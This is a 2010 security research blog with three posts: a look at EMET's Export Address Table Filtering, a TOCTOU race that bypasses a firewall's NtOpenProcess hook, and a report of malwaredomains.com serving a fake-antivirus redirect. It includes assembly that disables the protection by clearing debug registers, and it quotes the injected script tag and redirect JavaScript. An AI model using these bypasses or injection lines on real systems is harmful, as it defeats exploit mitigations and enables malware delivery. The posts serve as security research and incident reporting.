PornoSecurity

Export Address Table Filtering (EMET v2)

Posted on 2010-08-31 23:50:29 in PornoSecurity

I'll tell you the truth: Export Address Table Filtering, the feature of the upcoming release of EMET, "designed to break nearly all shell code in use today", intrigued me a bit.

Since I wasn't able to find docs about the actual implementation, I started to think about how that could be done and I wrote a simple POC that uses VirtualProtect to flag the relevant pages of the .data section of ntdll and kernel32 with PAGE_GUARD to intercept read operations over the PEB.Ldr. A Vectored Exception Handler is then used to handle the exception and to check if the faulting address is within the code section of a module(MEMORY_BASIC_INFORMATION.Type == MEM_IMAGE). Here is the pseudo-code:

BOOL WINAPI DllMain(...)
{
    [...]
    AddVectoredExceptionHandler(1, VectoredHandler);
    VirtualProtect(PLDR,
        PAGE_SIZE,
        PAGE_READWRITE|PAGE_GUARD,
        &old_protect);
    [...]
}
LONG CALLBACK VectoredHandler(
    __in PEXCEPTION_POINTERS ExceptionInfo)
{
    [...]
    if(ExceptionInfo->ExceptionRecord->ExceptionCode ==
        STATUS_GUARD_PAGE_VIOLATION)
    {
        VirtualQueryEx(GetCurrentProcess()	,
            (LPVOID)ExceptionInfo->ExceptionRecord->ExceptionAddress,
            &lpMemInfo,
            sizeof(MEMORY_BASIC_INFORMATION)))

        if(lpMemInfo.Type != MEM_IMAGE)
            ShellcodeDetected();
    [...]

Yesterday I found this .doc. It explains pretty much everything: they use hardware breakpoints to intercept read operations and a Vectored Exception Handler to check if the faulting address belongs to a module.... pretty much the same thing, isn't it?

Then I started to think about how EAT filtering could be bypassed, obviously there are many ways to find the address of a function without touching the EAT, but I was looking for a quick way to just fix existing shellcodes and make them working under EMET. Since EMET is going to use hardware breakpoints it will be probably faster than the PAGE_GUARD approach because while you can put a breakpoint on a single DWORD using debug registers, the granularity of VirtualProtect is PAGE_SIZE.

But hardware registers can be zeroed out, disabling the protection, by taking advantage of the Structured Exception Handling and without even using a single API. And so, I thought, you can easily add to a metasploit shellcode something like this:

START:
    call +0                  // poor's man get_pc()
    mov eax, [esp]
    add eax, HANDLER_OFFSET
    push eax               // install SEH handler
    push fs:[0]
    mov fs:[0], esp
    xor eax, eax
    mov byte [eax], 1	// oops
    [...]

HANDLER:
    xor eax, eax
    mov ebx, [esp+0xc]	// context
    add [ebx+0xb8], 3	// eip += len("mov byte [eax], 1")
    mov [ecx+0x4], EAX	// clean debug registers
    mov [ecx+0x8], EAX
    mov [ecx+0xc], EAX
    mov [ecx+0x10], EAX
    mov [ecx+0x14], EAX
    mov [ecx+0x18], EAX
    ret

right? Well, not quite really! Because this is not gonna work with SAFESEH enabled! :)

Btw, is there a way to quickly disable PAGE_GUARD using only position independent code and without touching EAT?

Time of check, time of use

Posted on 2010-05-20 00:27:22 in PornoSecurity

The point is that something bad could happen between the Time of Check and the Time of Use.

For example, if an antivirus wants to block applications from getting an handle to a protected process, it could hook NtOpenProcess and check if the pid belongs to one of the protected processess. The problem is that, if the thing/parameter the antivirus in going to check is a pointer to a user-space value(as it is the case for the CLIENT_ID structure needed by NtOpenProcess), even on single-core boxes where the scheduler has the ability to stop a thread in any moment and to start another one, a thread could have the chance to change the user-space value right after the Time of Check but before the Time of Use.

A couple of days ago I was reading this. It starts telling the world the sky is falling then at the end of the document: "we were kidding, it's pretty old stuff, everyones knows that.. but we wrote this awesome tool that makes the very unlikely thing to happen!".

While I was reading I started to think about how hard could be to win the race between a kernel-mode thread running inside a kernel-mode hook and a user-space thread trying to fake pointers/parameters. It turns out that it's pretty easy, at least on dual-core boxes.

While researching on infostealers and browser hijackers I found PrevX, that is a personal firewall specifically targeted to defend users from this kind of stuff and that claims to be able to protect personal data even when the box is compromised. One of the way it does that is by hooking a couple of system services in order to protect the browser's address space from being tampered.

One of the system services that it hooks is NtOpenProcess.
The hook checks both the CLIENT_ID structure and the DesideredAccessMask parameter: if the process requested(in the CLIENT_ID structure) is one of the protected processes(iexplorer.exe for example) it checks for the requested access mode.
Indeed if you try to open up an handle to iexplorer.exe with VM_WRITE|CREATE_THREAD, you'll end up with a NULL process handle.

Bypassing this is straight forward, all you need to do is to spawn the faker thread that changes the Processid member of the CLIENT_ID structure and then call NtOpenProcessin a loop, in a couple of second you'll get the desidered handle.

Code Here

MalwareDomains.com Serving Malware

Posted on 2010-05-07 18:54:30 in PornoSecurity

This morning malwaredomains.com was serving malware from their homepage. At the end of the page there is a little line added:

<script src="http://indesignstudioinfo.com/ls.php"></script>

The Javascript in there, change the browser location to:

var url="http://www4.suitcase52td.net/?p=p52dcWpkbG6Hnc3KbmNToKV1iqHWnG2dXpSYk2hoZZublQ%3D%3D"; window.top.location.replace(url);

Then a pretty good-looking, but actually fake, antivirus scans you computer:
No matter what you will choose and you'll be asked to download and execute a PE executable.

VirusTotal

Anubis Report

CWSandbox

Right now the page looks clean, but it seems they had something worst than upgrade problems:



You can read some about the attack HERE